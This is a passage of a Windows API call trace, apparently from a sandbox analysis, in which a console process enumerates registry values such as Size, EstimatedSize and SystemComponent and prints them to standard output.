GetConsoleOutputCP () returned 0x1b5 [0149.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.850] GetConsoleOutputCP () returned 0x1b5 [0149.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.851] __iob_func () returned 0x7fefd702a80 [0149.851] _fileno (_File=0x7fefd702ab0) returned 1 [0149.851] _errno () returned 0x204bb0 [0149.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.851] _errno () returned 0x204bb0 [0149.851] GetFileType (hFile=0x50) returned 0x1 [0149.851] lstrlenW (lpString="REG_SZ") returned 6 [0149.851] GetConsoleOutputCP () returned 0x1b5 [0149.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.851] GetConsoleOutputCP () returned 0x1b5 [0149.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.851] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.851] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.851] __iob_func () returned 0x7fefd702a80 [0149.851] _fileno (_File=0x7fefd702ab0) returned 1 [0149.851] _errno () returned 0x204bb0 [0149.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.851] _errno () returned 0x204bb0 [0149.851] GetFileType (hFile=0x50) returned 0x1 [0149.851] lstrlenW (lpString=" ") returned 4 [0149.851] GetConsoleOutputCP () returned 0x1b5 [0149.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.851] GetConsoleOutputCP () returned 0x1b5 [0149.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.852] __iob_func () returned 0x7fefd702a80 [0149.852] _fileno (_File=0x7fefd702ab0) returned 1 [0149.852] _errno () returned 0x204bb0 [0149.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.852] _errno () returned 0x204bb0 [0149.852] GetFileType (hFile=0x50) returned 0x1 [0149.852] lstrlenW (lpString="") returned 0 [0149.852] __iob_func () returned 0x7fefd702a80 [0149.852] _fileno (_File=0x7fefd702ab0) returned 1 [0149.852] _errno () returned 0x204bb0 [0149.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.852] _errno () returned 0x204bb0 [0149.852] GetFileType (hFile=0x50) returned 0x1 [0149.852] lstrlenW (lpString="\n") returned 1 [0149.852] GetConsoleOutputCP () returned 0x1b5 [0149.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.852] GetConsoleOutputCP () returned 0x1b5 [0149.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.852] GetProcessHeap () returned 0x3c0000 [0149.852] GetProcessHeap () returned 0x3c0000 [0149.853] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.853] GetProcessHeap () returned 0x3c0000 [0149.853] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.853] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.853] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.853] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.853] GetProcessHeap () returned 0x3c0000 [0149.853] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.853] GetProcessHeap () returned 0x3c0000 [0149.853] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.853] GetProcessHeap () returned 0x3c0000 [0149.853] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.853] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.853] __iob_func () returned 0x7fefd702a80 [0149.853] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.853] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.853] _fileno (_File=0x7fefd702ab0) returned 1 [0149.853] _errno () returned 0x204bb0 [0149.853] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.853] _errno () returned 0x204bb0 [0149.853] GetFileType (hFile=0x50) returned 0x1 [0149.853] lstrlenW (lpString=" ") returned 4 [0149.853] GetConsoleOutputCP () returned 0x1b5 [0149.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.853] GetConsoleOutputCP () returned 0x1b5 [0149.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.854] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.854] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.854] lstrlenW (lpString="Size") returned 4 [0149.854] __iob_func () returned 0x7fefd702a80 [0149.854] _fileno (_File=0x7fefd702ab0) returned 1 [0149.854] _errno () returned 0x204bb0 [0149.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.854] _errno () returned 0x204bb0 [0149.854] GetFileType (hFile=0x50) returned 0x1 [0149.854] lstrlenW (lpString="Size") returned 4 [0149.854] GetConsoleOutputCP () returned 0x1b5 [0149.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.854] GetConsoleOutputCP () returned 0x1b5 [0149.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0149.854] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.854] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.854] __iob_func () returned 0x7fefd702a80 [0149.854] _fileno (_File=0x7fefd702ab0) returned 1 [0149.854] _errno () returned 0x204bb0 [0149.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.854] _errno () returned 0x204bb0 [0149.854] GetFileType (hFile=0x50) returned 0x1 [0149.854] lstrlenW (lpString=" ") returned 4 [0149.854] GetConsoleOutputCP () returned 0x1b5 [0149.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.855] GetConsoleOutputCP () returned 0x1b5 [0149.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.855] __iob_func () returned 0x7fefd702a80 [0149.855] _fileno (_File=0x7fefd702ab0) returned 1 [0149.855] _errno () returned 0x204bb0 [0149.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.855] _errno () returned 0x204bb0 [0149.855] GetFileType (hFile=0x50) returned 0x1 [0149.855] lstrlenW (lpString="REG_SZ") returned 6 [0149.855] GetConsoleOutputCP () returned 0x1b5 [0149.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.855] GetConsoleOutputCP () returned 0x1b5 [0149.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.855] __iob_func () returned 0x7fefd702a80 [0149.855] _fileno (_File=0x7fefd702ab0) returned 1 [0149.855] _errno () returned 0x204bb0 [0149.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.855] _errno () returned 0x204bb0 [0149.856] GetFileType (hFile=0x50) returned 0x1 [0149.856] lstrlenW (lpString=" ") returned 4 [0149.856] GetConsoleOutputCP () returned 0x1b5 [0149.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.856] GetConsoleOutputCP () returned 0x1b5 [0149.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.856] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.856] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.856] __iob_func () returned 0x7fefd702a80 [0149.856] _fileno (_File=0x7fefd702ab0) returned 1 [0149.856] _errno () returned 0x204bb0 [0149.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.856] _errno () returned 0x204bb0 [0149.856] GetFileType (hFile=0x50) returned 0x1 [0149.856] lstrlenW (lpString="") returned 0 [0149.856] __iob_func () returned 0x7fefd702a80 [0149.856] _fileno (_File=0x7fefd702ab0) returned 1 [0149.856] _errno () returned 0x204bb0 [0149.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.856] _errno () returned 0x204bb0 [0149.856] GetFileType (hFile=0x50) returned 0x1 [0149.856] lstrlenW (lpString="\n") returned 1 [0149.856] GetConsoleOutputCP () returned 0x1b5 [0149.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.857] GetConsoleOutputCP () returned 0x1b5 [0149.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.857] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.857] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.857] GetProcessHeap () returned 0x3c0000 [0149.857] GetProcessHeap () returned 0x3c0000 [0149.857] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.857] GetProcessHeap () returned 0x3c0000 [0149.857] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.857] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.857] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.857] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.857] GetProcessHeap () returned 0x3c0000 [0149.857] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.857] GetProcessHeap () returned 0x3c0000 [0149.857] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.857] GetProcessHeap () returned 0x3c0000 [0149.857] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.857] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x5e0, pcbData=0x29f780*=0x4) returned 0x0 [0149.857] __iob_func () returned 0x7fefd702a80 [0149.857] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.857] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.857] _fileno (_File=0x7fefd702ab0) returned 1 [0149.857] _errno () returned 0x204bb0 [0149.857] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.857] _errno () returned 0x204bb0 [0149.857] GetFileType (hFile=0x50) returned 0x1 [0149.857] lstrlenW (lpString=" ") returned 4 [0149.858] GetConsoleOutputCP () returned 0x1b5 [0149.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.858] GetConsoleOutputCP () returned 0x1b5 [0149.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.858] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.858] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.858] lstrlenW (lpString="EstimatedSize") returned 13 [0149.858] __iob_func () returned 0x7fefd702a80 [0149.858] _fileno (_File=0x7fefd702ab0) returned 1 [0149.858] _errno () returned 0x204bb0 [0149.858] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.858] _errno () returned 0x204bb0 [0149.858] GetFileType (hFile=0x50) returned 0x1 [0149.858] lstrlenW (lpString="EstimatedSize") returned 13 [0149.858] GetConsoleOutputCP () returned 0x1b5 [0149.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.858] GetConsoleOutputCP () returned 0x1b5 [0149.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.858] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.858] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.859] __iob_func () returned 0x7fefd702a80 [0149.859] _fileno (_File=0x7fefd702ab0) returned 1 [0149.859] _errno () returned 0x204bb0 [0149.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.859] _errno () returned 0x204bb0 [0149.859] GetFileType (hFile=0x50) returned 0x1 [0149.859] lstrlenW (lpString=" ") returned 4 [0149.859] GetConsoleOutputCP () returned 0x1b5 [0149.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.859] GetConsoleOutputCP () returned 0x1b5 [0149.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.859] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.859] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.859] __iob_func () returned 0x7fefd702a80 [0149.859] _fileno (_File=0x7fefd702ab0) returned 1 [0149.859] _errno () returned 0x204bb0 [0149.859] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.859] _errno () returned 0x204bb0 [0149.859] GetFileType (hFile=0x50) returned 0x1 [0149.859] lstrlenW (lpString="REG_DWORD") returned 9 [0149.859] GetConsoleOutputCP () returned 0x1b5 [0149.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.859] GetConsoleOutputCP () returned 0x1b5 [0149.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.860] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.860] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.860] __iob_func () returned 0x7fefd702a80 [0149.860] _fileno (_File=0x7fefd702ab0) returned 1 [0149.860] _errno () returned 0x204bb0 [0149.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.860] _errno () returned 0x204bb0 [0149.860] GetFileType (hFile=0x50) returned 0x1 [0149.860] lstrlenW (lpString=" ") returned 4 [0149.860] GetConsoleOutputCP () returned 0x1b5 [0149.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.860] GetConsoleOutputCP () returned 0x1b5 [0149.860] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.860] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.860] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.860] __iob_func () returned 0x7fefd702a80 [0149.860] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.860] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x5e0") returned 5 [0149.860] _fileno (_File=0x7fefd702ab0) returned 1 [0149.860] _errno () returned 0x204bb0 [0149.860] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.860] _errno () returned 0x204bb0 [0149.860] GetFileType (hFile=0x50) returned 0x1 [0149.860] lstrlenW (lpString="0x5e0") returned 5 [0149.861] GetConsoleOutputCP () returned 0x1b5 [0149.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x5e0", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.861] GetConsoleOutputCP () returned 0x1b5 [0149.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x5e0", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x5e0", lpUsedDefaultChar=0x0) returned 5 [0149.861] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.861] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.861] __iob_func () returned 0x7fefd702a80 [0149.861] _fileno (_File=0x7fefd702ab0) returned 1 [0149.861] _errno () returned 0x204bb0 [0149.861] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.861] _errno () returned 0x204bb0 [0149.861] GetFileType (hFile=0x50) returned 0x1 [0149.861] lstrlenW (lpString="\n") returned 1 [0149.861] GetConsoleOutputCP () returned 0x1b5 [0149.861] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.861] GetConsoleOutputCP () returned 0x1b5 [0149.862] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.862] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.862] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.862] GetProcessHeap () returned 0x3c0000 [0149.862] GetProcessHeap () returned 0x3c0000 [0149.862] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.862] GetProcessHeap () returned 0x3c0000 [0149.862] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.862] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.862] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.862] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.862] GetProcessHeap () returned 0x3c0000 [0149.862] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.862] GetProcessHeap () returned 0x3c0000 [0149.862] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.862] GetProcessHeap () returned 0x3c0000 [0149.862] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.862] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.862] __iob_func () returned 0x7fefd702a80 [0149.862] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.862] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.862] _fileno (_File=0x7fefd702ab0) returned 1 [0149.862] _errno () returned 0x204bb0 [0149.862] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.862] _errno () returned 0x204bb0 [0149.862] GetFileType (hFile=0x50) returned 0x1 [0149.862] lstrlenW (lpString=" ") returned 4 [0149.862] GetConsoleOutputCP () returned 0x1b5 [0149.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.863] GetConsoleOutputCP () returned 0x1b5 [0149.863] 